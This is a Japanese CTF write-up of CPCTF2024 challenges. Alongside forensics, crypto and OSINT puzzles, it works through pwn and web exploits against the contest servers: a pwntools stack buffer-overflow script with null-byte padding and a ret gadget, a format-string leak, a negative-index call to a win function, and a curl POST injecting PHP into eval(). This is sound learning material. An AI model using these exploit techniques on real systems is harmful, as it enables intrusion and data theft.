CPCTF2024のwriteupみたいなやつ

X見てたら見つけたものをやってみた。

mediumとhard以外は頑張った(PPCとOSINTは除く)。今回PPCとOSINTを解けなかったのが痛い。好き嫌いしないことは大切ですね。

開閉

[Web] Typing game

面白そうなタイピングゲームを見つけたぞ!早速やってみよう♪ ...なんかムズくない?????

これをするのは無理、コードを開発者ツールで確認するとflagあった。

[OSINT] mokomoko

綺麗な風景ですね。これはどこで撮ったのでしょうか? https://files.cpctf.space/mokomoko.jpeg

撮影場所は何らかの施設のようです。施設が用いている電話番号を CPCTF{} で囲んで解答してください。ハイフンは入れないこと。

googleの画像検索で調べるとひたち海浜公園という場所が出てきたので、その電話番号をflagにして正解。

[Shell] netcat

次のアドレスに接続するとフラグが貰えます!

domain: shell-netcat.web.cpctf.space port: 30010
ということで、ncコマンドを使用する問題。

知識(netcat)
netcat (ncコマンドでサーバーと通信させよう!)を参考にした。「TCPまたはUDPの通信を使ってコマンドラインからデータを送受信するコマンド」ということらしい。

nc サーバーのIPアドレス サーバーのポート番号で通信ができるようだ。通信したら終了。

[Forensics] white has much information

これがflagにつながるらしいです https://files.cpctf.space/white_has_much_information.txt
真っ黒。こんな問題は初めて。このファイルを開発者ツールでダウンロードして、解析していく。

└─# file white_has_much_information.txt
white_has_much_information.txt: ASCII text
└─# strings white_has_much_information.txt
























既視感がある。空白だけある。

└─# hexdump -v -C white_has_much_information.txt
00000000  20 20 20 09 20 20 20 20  09 09 0a 09 0a 20 20 20  |   .    .....   |
00000010  20 20 09 20 09 20 20 20  20 0a 09 0a 20 20 20 20  |  . .    ...    |
00000020  20 09 20 20 20 20 09 09  0a 09 0a 20 20 20 20 20  | .    .....     |
00000030  09 20 09 20 09 20 20 0a  09 0a 20 20 20 20 20 09  |. . .  ...     .|
00000040  20 20 20 09 09 20 0a 09  0a 20 20 20 20 20 09 09  |   .. ...     ..|
00000050  09 09 20 09 09 0a 09 0a  20 20 20 20 20 09 20 20  |.. .....     .  |
00000060  20 20 09 09 0a 09 0a 20  20 20 20 20 09 09 20 09  |  .....     .. .|
00000070  20 20 0a 09 0a 20 20 20  20 20 09 09 20 09 09 09  |  ...     .. ...|
00000080  20 0a 09 0a 20 20 20 20  20 09 20 09 09 09 09 09  | ...     . .....|
00000090  0a 09 0a 20 20 20 20 20  09 09 09 09 20 20 09 0a  |...     ....  ..|
000000a0  09 0a 20 20 20 20 20 09  09 20 20 20 20 0a 09 0a  |..     ..    ...|
000000b0  20 20 20 20 20 09 09 09  20 09 20 09 0a 09 0a 20  |     ... . .... |
000000c0  20 20 20 20 09 20 09 09  09 09 09 0a 09 0a 20 20  |    . ........  |
000000d0  20 20 20 09 09 20 09 20  09 0a 09 0a 20 20 20 20  |   .. . ....    |
000000e0  20 09 09 20 20 09 09 0a  09 0a 20 20 20 20 20 09  | ..  .....     .|
000000f0  09 20 20 09 09 0a 09 0a  20 20 20 20 20 09 20 09  |.  .....     . .|
00000100  09 09 09 09 0a 09 0a 20  20 20 20 20 09 09 20 09  |.......     .. .|
00000110  09 09 0a 09 0a 20 20 20  20 20 09 09 20 09 20 20  |.....     .. .  |
00000120  20 0a 09 0a 20 20 20 20  20 09 09 20 20 20 09 0a  | ...     ..   ..|
00000130  09 0a 20 20 20 20 20 09  09 20 09 20 09 0a 09 0a  |..     .. . ....|
00000140  20 20 20 20 20 09 09 09  09 09 09 0a 09 0a 20 20  |     .........  |
00000150  20 20 20 09 09 09 09 09  20 09 0a 09 0a 20 20 0a  |   ..... ....  .|

何やら書かれているようだ。20,09,0aで構成されている。モールス信号が二進数で表現できるかどっちかの気がする。16進数をasciiとして見ると20はスペース、09は水平タブ、0aは改行だそうだ。調べていると(2020年になったのでテキストに半角スペースで暗号文を埋め込もう)というサイトが目についた。Whitespacaというプログラミング言語があるようだ。また、stegsnowというものやShinoCryptor(暗号化でテキストを目に見えなくする「ShinoCryptor」)というものまであった。

└─# stegsnow white_has_much_information.txt
��@�!p�� �DB��("� �
 ,DQ0�
$�

あまり良いのは見当たらない。(【Whitespace】空白文字だけで「大石泉すき」を出力する)を参考にwhitespacaを解読してみる。

└─# od white_has_much_information.txt -An -tx1 -v|tr '\n' ' '|tr -d ' '|sed -e "s/0a/\n/g"
20202009202020200909
09
202020202009200920202020
09
202020202009202020200909
09
202020202009200920092020
09
202020202009202020090920
09
202020202009090909200909
09
202020202009202020200909
09
2020202020090920092020
09
202020202009092009090920
09
202020202009200909090909
09
202020202009090909202009
09
2020202020090920202020
09
202020202009090920092009
09
202020202009200909090909
09
2020202020090920092009
09
2020202020090920200909
09
2020202020090920200909
09
202020202009200909090909
09
2020202020090920090909
09
202020202009092009202020
09
2020202020090920202009
09
2020202020090920092009
09
2020202020090909090909
09
202020202009090909092009
09
2020

これを参考webのやり方を実践すればできる。cyberchefを利用すると簡単。しかし、形の整形はコードを書いた方が楽に感じる。

[Forensics] Register(未解決)

flagのpacketをcaptureしたよ!

https://files.cpctf.space/register.pcapng
お!パケット解析だ!!
見たことない感じ。アップデートしたからか見にくいw
階層USBについてだけ。

知識(URB)
URB (URB 構造体 (usb.h))
を参考にした。
知識(USB転送方式)
USB転送方式 (USB転送方式)を参考にした。4つの転送方式があるようだ。

今回はコントロール転送とインタラプト転送が行われていそう。(サークル合宿で主催したCTFの解説※このサイトの参考サイトの部分を押すと海外のアダルトサイトらしきところへ飛ぶので注意)を参考にするとusbのキーボードで打ったコードは特殊なようで、usb keyboard codeと調べるとよいようだ。

└─# tshark -r register.pcapng -T fields -e usb.capdata
Running as user "root" and group "root". This could be dangerous.



0200000000000000
0200060000000000
0200000000000000
0200130000000000
0200000000000000
0200060000000000
0200000000000000
0200170000000000
0200000000000000
0200090000000000
0200000000000000
0200300000000000
0200000000000000
0200320000000000
0200000000000000
0000000000000000
0000500000000000
0000000000000000
0000090000000000
0000000000000000
0000590000000000
0000000000000000
00005c0000000000
0000000000000000
00005e0000000000
0000000000000000
2000000000000000
2000870000000000
0000870000000000
0000000000000000
00001a0000000000
0000000000000000
00005c0000000000
00005c5d00000000
00005d0000000000
0000000000000000
2000000000000000
2000870000000000
0000870000000000
0000000000000000
0000060000000000
0000000000000000
00005c0000000000
0000000000000000
0000610000000000
0000000000000000
00005f0000000000
0000000000000000
0000180000000000
0000000000000000
0000150000000000
0000000000000000
0000200000000000
0000000000000000
0000070000000000
0000000000000000

(USB HID Usage ID の Scancode 変換と対応するキー)を参考に当てはめるとCPCTF{f146\w445\c497ur3d}になったが、違うようだ。なんでだろう

[Forensics] which is true flag

メールでflagを受け取れるサービスに登録したんだけど、どれが本物かわからないや。助けて~。

https://files.cpctf.space/which_is_true_flag.zip
zipを解凍すると数えきれないほどのemailデータが渡された。メールにflagらしきものが書かれてはいるが、この中の一つしか正解ではないみたい。違いが判らない。

何が違うのかdiffコマンドで比較する。

└─# diff mail-NHwAVAWEqiJAGlS.eml  mail-aKfUpJZEKhIcnSJ.eml
5c5
< Received: from flagProvider@trap.jp ([28.163.253.231])
---
> Received: from flagProvider@trap.jp ([221.120.97.2])
30c30
< クーポンID: CPCTF{yHRFsOGdwqCwoPkbhhET}
---
> クーポンID: CPCTF{iwbcwWoikyYKAoaFyaSJ}
99c99
<             <p>クーポンID: <strong>CPCTF{yHRFsOGdwqCwoPkbhhET}</strong></p>
---
>             <p>クーポンID: <strong>CPCTF{iwbcwWoikyYKAoaFyaSJ}</strong></p>

つまり、flagとIPアドレスが違う。日本のドメインではないところから送られているとかなのかな?大量にある中から探せばよい。

(大量の IP アドレスは「IPInfoOffline」で調べよう)を参考にしてみる。└─# cat * | grep 'from flagProvider@trap.jp' |uniq|sed -e "s/Received: from flagProvider@trap.jp (//g"|sed -e "s/])//g"| tr -d [ごちゃごちゃしてしまったが、これでメールからIPアドレスだけを抽出できた。予想ではこの中に日本のものは1つしかない。しかし、調べてみると239個も日本から届いていた。まだ間絞る余地があるようだ。
hintを全部開けた。

trap.jpのドメインSPFレコードと呼ばれるものを確認してみましょう。 すると、AレコードとMXレコードのどちらかと一致するものが本物のようです。 以下のコマンドでレコードを確認できます。

dig trap.jp mx
dig trapsysad.sakura.ne.jp a
知識(SPFレコード)
SPFレコード (SPFレコードとは?正しい書き方を徹底解説)メールの情報からそれがなりすましでないかをDNSサーバと比較して実装されているようだ。

調べるとwindowsnslookupコマンドでできるようだ。

> nslookup trap.jp
名前:    trap.jp
Addresses:  2400:8500:1302:773:118:27:108:130
          118.27.108.130
> nslookup -type=mx trap.jp
trap.jp MX preference = 10, mail exchanger = trapsysad.sakura.ne.jp

trapsysad.sakura.ne.jp  internet address = 49.212.243.60

118.27.108.130か49.212.243.60の二択かな。

└─# grep -rl "49.212.243.60" ./
./mail-wrdzsQThShoYumIsAaYL.eml

引っかかった。終了。

[Pwn] Attack! Attack! Win!

flagを盗まれてしまいました…… 敵を倒して取り返してきてもらえませんか? nc attack_attack_win.web.cpctf.space 30005
ということで、やってみる。

└─# nc attack_attack_win.web.cpctf.space 30005


Defeat the enemy to get the flag!


YourHP:100
enemyHp:100

1: Attack
2: Heal
3: Hocus Pocus

1

YourHP:50
enemyHp:60

1: Attack
2: Heal
3: Hocus Pocus

2

YourHP:30
enemyHp:60

1: Attack
2: Heal
3: Hocus Pocus

3

Memory leak!
Attack     : 0x563fc565e070
Heal       : 0x563fc565e078
HocusPocus : 0x563fc565e080
win        : 0x563fc565e058

YourHP:0
enemyHp:60

You lose...

一回で50ダメージ、、2ターンしか猶予なし。攻撃は一回40つまり正規の方法では無理ぽ。memoryleakがあるので、そこがポイントですよね。配列の参照が鍵ではないかな?

   playerCommands[0] = attack;
    playerCommands[1] = heal;
    playerCommands[2] = hocusPocus;

コマンドはこのようになっている。つまり、入力にマイナスで入力するとwin関数を実行できそう。-2の時に十呼応できた。終了。

[Crypto] Substitution

Cpvv muzp! Xuvdazs ijax ekrtiusknl kpqgakpx fuij xwavv nzm tniapzep. Rug'dp mpluzxiknipm pyeptiauznv neglpz nzm tpkxpdpknzep. Fkndu buk eknewazs ijp eump nzm gzvuewazs aix xpekpix! ETEIB{jpvvu_ekrtiu_cukvm}
わからない。(dcode.fr)を用いて解析した。monoalphabetic-substitutionという方式で解析すると復号できた。

[OSINT] omu-napo(未解決)

熱々の鉄板の上のオムナポ、美味しかった〜。 店舗名の英語表記をスペースを抜いた状態ものをCPCTF{}で包んだものがflagです。

https://files.cpctf.space/omunapo.jpg

例: 店舗名が「Tokodai Cafe」の場合、flagはCPCTF{TokodaiCafe}になります。 画像検索したが一つに絞るのは難しそう。画像情報にGPSがないか確認した。

└─# exiftool omunapo.jpg
GPS Position                    : 35 deg 39' 27.81" N, 139 deg 42' 0.89" E

となっている。ここを調べると。渋谷フクラスビル内にあるようだ。が、それっぽいのがない。

[Binary] peeping

僕の考えたflagを当てられますか?

└─# ./chall
Can you guess the flag?
ka
Wrong...  

さすがに当てずっぽうでは無理よ。ghidraかな。mainから見ていく。
入力をflagと比較している。flagを確認しに行くとそのまま記述されていた。終了。

[Pwn] CPCT......

等価交換って良いですよね。ということで、入力した文字数の分だけflagをあげます! でも貰いすぎても困るので4文字以内でお願いします…… nc cpct.web.cpctf.space 30006

└─# nc cpct.web.cpctf.space 30006
Please enter some string! (max 4 character)
3333
Thank you!
Your input:3333
Length: 4
This is your reward!
CPCT

入力した分だけflagの答えがもらえるようだ。コードを見た時にlength = printf(buf);ここが気になった。printfにそのまま変数を当てはめるとフォーマット指定子の攻撃ができてしまうやつ。

└─# nc cpct.web.cpctf.space 30006
Please enter some string! (max 4 character)
%s
Thank you!
Your input:Thank you!
Your input:
Length: 22
This is your reward!
CPCTF{1m_50rrY_bu7_i_H

やはり、4以上leakすることができる。フォーマット指定子の間に数値を入れることで桁をそろえることができると学んだような。

└─# nc cpct.web.cpctf.space 30006
Please enter some string! (max 4 character)
%99s
Thank you!
Your input:
Length: 99
This is your reward!

正解だそうです。終了。

[OSINT] Doctor yellow(未解決)

Question 2024年の東工大の前期合格発表の翌日、河川敷を歩いていたら黄色い新幹線が走っているのを見かけました。

これはどこで撮られた写真でしょう?

フラグは撮影された場所の緯度と経度を10進数で表記して小数点以下3桁で切り捨てたものを順に並べたものです。 (例えば北緯aa.bb度 東経ccc.dd度であるとき、緯度と経度を用いてCPCTF{aabb_cccdd}です。)
先もやったように画像の情報をてにいれる。載ってない!!

[Pwn] The sky's the limit

あまりにも長い入力は危険らしいので弾くようにしました! nc the_skys_the_limit.web.cpctf.space 30007
16以上の入力ははじく。それ以外は特に何も起こらない。バッファオーバーフローをしてwin関数を十呼応させるようだが、わからない。手も足も出ないので、ヒントを覗く。

脆弱性があるのは28行目のgets関数です。

gets関数に脆弱性があるんですね!gets(buf);とコードが書いてある。getsはbufの領域を超えて書き込むことができることが脆弱性のようだ。しかし、strlenがあるので、長さを超えれないのではないか?strlenはnullが来るまでの文字列を数える。送る文字列の間にnullがあればstrlenを回避できるかもしれない?

from pwn import *

io = process('./chall')
io = remote('the_skys_the_limit.web.cpctf.space', 30007)

print(io.recvuntil("input:"))
io.sendline(b'ooooooooooooooooo\0ooooooooooooo')
print(io.recvline())

とすればエラーが起きないことが分かった。これでバッファオーバーフローはできるのではないだろうか。いや、戻りアドレスを変更させるための戻りアドレスがないぞ。hint2を見てみる。

gets関数でbufよりも大きい文字列を入力できるため、stack buffer overflow の脆弱性があります。 上手くwin関数に処理を飛ばしましょう。 また、strlenでの文字列チェックに引っかからないようにするため、文字列の区切りとなるようなものを入力する文字列に仕込みましょう。 stack alignment に注意してください。 (CTFで学ぶ脆弱性(スタックバッファオーバーフロー編・その1))を参考にやっていく。リターンアドレスの位置はバッファサイズ+rbpレジスタらしいです。今回だと16+8=24ということになるのかな?

gdb-peda$ disas win
Dump of assembler code for function win:
   0x0000000000401289 <+0>:     endbr64
   0x000000000040128d <+4>:     push   rbp
   0x000000000040128e <+5>:     mov    rbp,rsp
   0x0000000000401291 <+8>:     lea    rax,[rip+0xd6c]        # 0x402004
   0x0000000000401298 <+15>:    mov    rdi,rax
   0x000000000040129b <+18>:    call   0x4010d0 <system@plt>
   0x00000000004012a0 <+23>:    mov    eax,0x0
   0x00000000004012a5 <+28>:    pop    rbp
   0x00000000004012a6 <+29>:    ret

win関数の開始位置は0x00401289であるようだ。

実行してみるがSegmentation faultになってしまう。

hint3も開けた(´;ω;`)

'\x00'などを入力すると、そこが文字列の終端であるとみなされるため文字列長をごまかすことができます。 これを踏まえてstack buffer over flow をしていきましょう。 '\x00'を24文字、ret命令、win関数のアドレスの順に入力すればうまくいきそうです。 echo -e "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x13\x13\x40\x00\x00\x00\x00\x00\x89\x12\x40\x00\x00\x00\x00\x00" これをパイプなどで入力しましょう。

終端は\0ではなく、\x00なんですね。そして、あと、24文字の後にそもままアドレスを入力していましたが、ret命令を入れないといけなかったようです。つまり、スタックにはバッファー、ret命令、戻り値アドレスの順番で積まれているということかな。

Dump of assembler code for function main:
   0x00000000004012a7 <+0>:     endbr64
、、、
   0x0000000000401313 <+108>:   ret

アセンブリを見るとret命令のアドレスが0x401313になっている。これが使われているようだ。スタックは1つが8byteなので注意する。

from pwn import *

io = remote('the_skys_the_limit.web.cpctf.space', 30007)
address = pack(0x401289, word_size='64', endian='little')
ret = pack(0x401313, word_size='64', endian='little')
print(io.recvuntil("input:"))
io.sendline(b'oooooooo\x00ooooooooooooooo' + ret + address)
print(io.recvline())

以上のコードを実行するとflagゲット。楽しかった。

[Web] Read Novels

小説が読めるサイトを見つけたぞ! これ小説以外も見れるじゃん... サイト:https://read-novels.web.cpctf.space 配布ファイル:https://files.cpctf.space/read-novels.zip
というわけで、読めるようです。

@app.route('/novel', methods=['GET'])
def novel():
    name = request.args.get('name')
    filepath = './novel/' + name
    if os.path.exists(filepath) == False:
        return "File not found"
    if os.path.isfile(filepath) == False:
        return "Not a file"
    body = open(filepath, 'r').read()
    return render_template('novel.html', title=name, body=body)

コード見てみるとファイルトラバーサルできそう。 nameのところにnovelからflagへのパスを指定すればよさげ。

[Binary] Just reversing?

CTFにはReversingというジャンルがあるらしいですね。 面白そうなので雰囲気で問題を作ってみました!
暗号に近いコードをしている。

#include <stdio.h>
#include <string.h>

int main() {
    char flag_enc[30] = "";
    char flag[30];
    FILE *f;
    f = fopen("flag_enc.txt", "r");
    if (f == NULL) {
        printf("flag.txt not found\n");
        return 1;
    }

    fscanf(f, "%s", flag_enc);   
    fclose(f);

    for (int i = 0; i < strlen(flag_enc); i++) {
        char chr = flag_enc[strlen(flag_enc) -i -1];
        flag[i] = (char)(chr %16 *16) + (chr /16);
    }

    f = fopen("flag.txt", "w");
    fprintf(f, "%s", flag);
    fclose(f);

    return 0;
}

復号するのを何も考えずにコードを書くと上記のようになる。しかし、これでは正解にならない。CPCTFl]17Er4]]JPr3vErs1_Gnという答えになる。フォーマット指定子関係で変換ミスが起きているように思う。

└─# hexdump -v -C flag_enc.txt
00000000  d7 74 e6 13 37 27 54 67  33 27 f5 95 c6 c6 43 27  |.t..7'Tg3'....C'|
00000010  54 73 13 c6 b7 64 45 34  05 34                    |Ts...dE4.4|

16進数で見てみると{がb7で表されているがここからおかしくなっている。char型は1byteつまり128までしか読めない。それ以上だとおかしくなってしまう。フォーマット指定子をいじったりしたけどよくわからなかったので、力業。

 for (int i = 0; i < strlen(flag_enc); i++) {
        int chr = flag_enc[strlen(flag_enc) -i -1];
        if (chr <0){
            chr = chr +2*128;
        }
        flag[i] = (char)(chr %16 *16) + (chr /16);
    }

マイナスになっているところを強制的に直すようにした。writeupを楽しみにしている。終了。

[web] Let's buy some array

贔屓にしている数列屋さんがモバイルオーダーに対応したらしい。とは言っても金額計算機能しかないらしいけど。 ...この金額計算、あんまり安全じゃなくないか?
ということでやっていく。
計算するらしい。php見ていてもよくわからない。hint見てみる。

値が数値であるかどうかはクライアント側でしか検証していないようです。 不正な文字列を注入することが出来るかもしれません。

不正な文字列を注入できるようだ。よくわからないので後回し。 調べているがURlから不正な文字を送るのか、コマンド上で何か足ら行わないといけないのか、それさえもわからない。 hint2を開いた。

金額計算にeval()が使われているので、任意のPHPコードが実行できます。 環境変数FLAGが表示されるよう、コードを入れてみましょう。

だそうです。

<p>合計金額は<?=eval('return ' . $_POST["quantity1"] . '*1000+' . $_POST["quantity2"] . '*2000+' . $_POST["quantity3"] . '*1500;')?>円です。この画面を実店舗の店員にご提示ください。</p>

これのことですね。

PHPでは$ENV['FLAG']で環境変数FLAGを読み取ることが出来ます。 eval('return ' . $POST["quantity1"] . '1000;')の$POST["quantity1"]に不正なコードを注入することを考えます。 単に$ENV['FLAG']を入れると$_ENV['FLAG'] 1000が実行されてしまいます。PHPPythonなどと異なり文字列×数字の演算は出来ないので、これはエラーになります。 エラーを回避する方法としては、1000の前に数字を置く方法があります。例えば、quantity1として$ENV['FLAG'] . 2などを送ることで$ENV['FLAG'] . 21000 を実行させることができます。

やっぱりこれをどう送ればいいのかがわからない。頑張って調べる!!

知識($_POST)
$_POST (PHP フォームから値を取得する$_POSTの使い方)を参考にする。

$POSTを知る前に$GETを知る方がよさそう。

知識($_GET)
$_GET (PHP フォームやURLのパラメータから値を取得する$_GETの使い方)
を参考にする。つまり、入力の変数から値を得るのがこの関数。

$_POSTはURLには乗らないだけで、index.phpからactionでpostされた値が得られているようだ。
さきも言ったようにGETはURLから送れるが、POSTはどう送ればよいのだろうか?
以前curlコマンドを利用したことを思い出してきた。 (curlコマンドでPOSTする, 様々な形式別メモ)

└─# curl -X POST https://lets-buy-some-array.web.cpctf.space/

<!DOCTYPE HTML>
<html>
    <head>
        <title>数列屋</title>
        <meta charset="utf-8">
    </head>
    <body>
        <h1>数列屋へようこそ</h1>
        <form action="purchase.php" method="post">
            <table>
                <tr>
                    <th>商品名</th>
                    <th>単価</th>
                    <th>個数</th>
                </tr>
                <tr>
                    <td>フィボナッチ数列</td>
                    <td>1000</td>
                    <td><input type="number" name="quantity1" value=""></td>
                </tr>
                <tr>
                    <td>素数列</td>
                    <td>2000</td>
                    <td><input type="number" name="quantity2" value=""></td>
                </tr>
                <tr>
                    <td>三角数列</td>
                    <td>1500</td>
                    <td><input type="number" name="quantity3" value=""></td>
                </tr>
            </table>
            <input type="submit" value="確認">
        </form>
    </body>
</html>

ファイル内容と同じものが渡された。つまり、POSTを要求したのでそれが返ってきたということかな?(curl コマンド 使い方メモ)-dオプションをつけるとデータが記述できるようだ。でも、└─# curl -X POST --data '$_POST["quantity1"] = 1' https://lets-buy-some-array.web.cpctf.space/purchase.phpこれではだめなようだ。

└─# curl -d 'quantity1 = 1' https://lets-buy-some-array.web.cpctf.space/purchase.php
<html>
    <head>
        <title>数列屋</title>
        <meta charset="utf-8">
    </head>
    <body>
        <h1>レジ</h1>
        <form action="purchase.php" method="post">
            <table>
                <tr>
                    <th>商品名</th>
                    <th>単価</th>
                    <th>個数</th>
                    <th>小計</th>
                </tr>
                <tr>
                    <td>フィボナッチ数列</td>
                    <td>1000</td>
                    <td><br />
<b>Warning</b>:  Undefined array key "quantity1" in <b>/var/www/html/purchase.php</b> on line <b>19</b><br />
</td>
                    <td><br />
<b>Warning</b>:  Undefined array key "quantity1" in <b>/var/www/html/purchase.php</b> on line <b>20</b><br />
<br />
<b>Parse error</b>:  syntax error, unexpected token &quot;*&quot;, expecting &quot;;&quot; in <b>/var/www/html/purchase.php(20) : eval()'d code</b> on line <b>1</b><br />

以上のエラーが出る、、なぜだーーーーーー。スペースのせいだーーーーーーー!!気を付けてくれ!!むやみにスペースはたたいたらあかんようだ。前もどこかでそうだった。web系のコードではスペースが肝。

└─# curl -d 'quantity1=1&quantity2=1&quantity3=1' https://lets-buy-some-array.web.cpctf.space/purchase.php

これで送ることはできる。

└─# curl -d 'quantity1=$_ENV['FLAG'] . 2' https://lets-buy-some-array.web.cpctf.space/purchase.php
<html>
    <head>
        <title>数列屋</title>
        <meta charset="utf-8">
    </head>
    <body>
        <h1>レジ</h1>
        <form action="purchase.php" method="post">
            <table>
                <tr>
                    <th>商品名</th>
                    <th>単価</th>
                    <th>個数</th>
                    <th>小計</th>
                </tr>
                <tr>
                    <td>フィボナッチ数列</td>
                    <td>1000</td>
                    <td>$_ENV[FLAG] . 2</td>
                    <td><br />
<b>Fatal error</b>:  Uncaught Error: Undefined constant &quot;FLAG&quot; in /var/www/html/purchase.php(20) : eval()'d code:1
Stack trace:
#0 /var/www/html/purchase.php(20): eval()
#1 {main}
  thrown in <b>/var/www/html/purchase.php(20) : eval()'d code</b> on line <b>1</b><br />

なぜエラーが起きるのーーーー。いあー。「"」と「'」を使い分けてなかっただけ、、 悔しい。それができたらflag回収。

[Binary] Number Guesser

正しい数字を入力できたらflagを差し上げます。
だそうだ。ソースコードは渡されていない。実行しても。

└─# ./chall
Guess the number!
ka
Wrong...

と出力されるだけでヒントはない。ghidraを用いて、見ていく。

main関数を見てみると何やら比較している。scanfも実行されているので、この文字が推測したい数値と考えられる。入力したら正解だった。終了。

[OSINT] Great view(未解決)

とても見晴らしが良い場所に来ました! https://files.cpctf.space/great_view.jpg

ところで、この場所はあるゲームアプリの中でも登場したようです。 そのアプリが正式リリースされた日時を教えてください。
ということで、まずは画像をgoogle先生に投げる。 卯辰山というキーワード出てきた。 (『ラブライブ!蓮ノ空女学院スクールアイドルクラブ』 舞台探訪(聖地巡礼) ~金沢市~)ということでラブライブのようだ。調べると日にちはわかるけど、時間まではわからない。むずかしい。

[Crypto] RSA Trial

RSA暗号に触れてみましょう!
RSA問題を解いている時間が好きなので解いていく。 eとn、c、hintが与えられている。cが暗号文でhint=p3+q3をだそうです。
RSAなのでpとqをそれぞれ求めるか、(p-1)(q-1)を求めれば、秘密鍵dが求められてうれしいという流れですね。
まずは2つの3乗の和は高校生で習う公式を使用したらなんか(p-1)
(q-1)と絡められそう。
(p+q)でうまいこと絡められました。ここで(p-1)(q-1)はxとしています。しかし、このままでは総当たりになるので、因数分解下状態でxの大まかな存在範囲を求めました。そしたら、二分探査で値を絞り込んだら素早く(p-1)(q-1)を求められます。そしたら、もうRSAのいつもの通りにやってあげれば終了。コードは以下に。

from Crypto.Util.number import long_to_bytes,inverse
def hsqrt(n): #平方根を求めるうやつ。
  x = n
  y = (x + 1) // 2
  while (y < x):
    x = y
    y = (x + n // x) // 2
  return x

x1 = 1
xn = n+1-hsqrt(3*n)
flag =1
x =( x1 +xn )//2
while (flag ==1):
  value = (n + 1 - x)*((n+1-x)**2 -3*n)-hint
  if (value >0):
    x1 = x
    x = (x + xn)//2
  elif( value < 0):
    xn = x
    x = (x1 + x)//2
  else:
    print(x)
    flag =0

mod = x
d = pow(e,-1,mod)
m = pow(c,d,n)
print(long_to_bytes(m))

これにて終了。

[Shell] veeeeeeery long text

flag.txtにフラグが書いてあります、やったね。

ssh user@veeeeeeery-long-text.web.cpctf.space -p 30011 password: P455W0I2D
ということで、sshしてflag.txtをcatしてみた。長すぎる。しかし、この中にflagがあるので、grepしてみる。出てきた。終了。

[Misc] turning over(未解決)

この板ポリゴンがflagらしいけど、どこに書いてあるんだろう?
ということで何かしらのファイルが渡された。

└─# file turning_over.blend
turning_over.blend: Blender3D, saved as 64-bits little endian with version 4.00

初めて見るファイル形式。3dCGのようだ。

└─# strings turning_over.blend  | grep CPCTF

さすがに簡単ではない。

[Crypto] AAAA(未解決)

traP専用のssh-key鍵を作りました. 秘密鍵ファイルなので見せられないですがなんとTOKYO+INSTITUTE+OF+TECHNOLOGY+DIGITAL+CREATORS+CLUB+TRAPAAAA をファイルに含ませることに成功しました(下のコードブロック参照)! 余計なAAAAついてる原因はたぶんBluetoothキーボードの電池が途中で切れて最後の入力文字を入力し続けたせいです(知らんけど). チェックコードとログ渡すのでうまく行ってるか確認して欲しいな.
どういうことかあんまりわからん。

-----BEGIN OPENSSH PRIVATE KEY-----
****************************************************************************
****************************************************************************
****************************************************************************
****************************************************************************
****************************************************************************
****************************************************************************
****************************************************************************
****************************************************************************
****************************************************************************
****************************************************************************
****************************************************************************
****************************************************************************
****************TOKYO+INSTITUTE+OF+TECHNOLOGY+DIGITAL+CREATORS+CLUB+TRAPAAAA
****************************************************************************
****************************************************************************
****************************************************************************
************************************************************
-----END OPENSSH PRIVATE KEY-----

秘密鍵だそうです。

[Crypto] CES(未解決)

正式名称はCat Encryption Standardです. nc ces.web.cpctf.space 30008
なんじゃこりゃ

[Binary] Power down(未解決)

落ち着いて、ゆっくり、順番に……
ということでbinaryファイルが渡された。ghidraかな。

└─# ./chall
What is the flag?
kakka
Wrong...

つまり、そのままflagたたかないといけないようだ。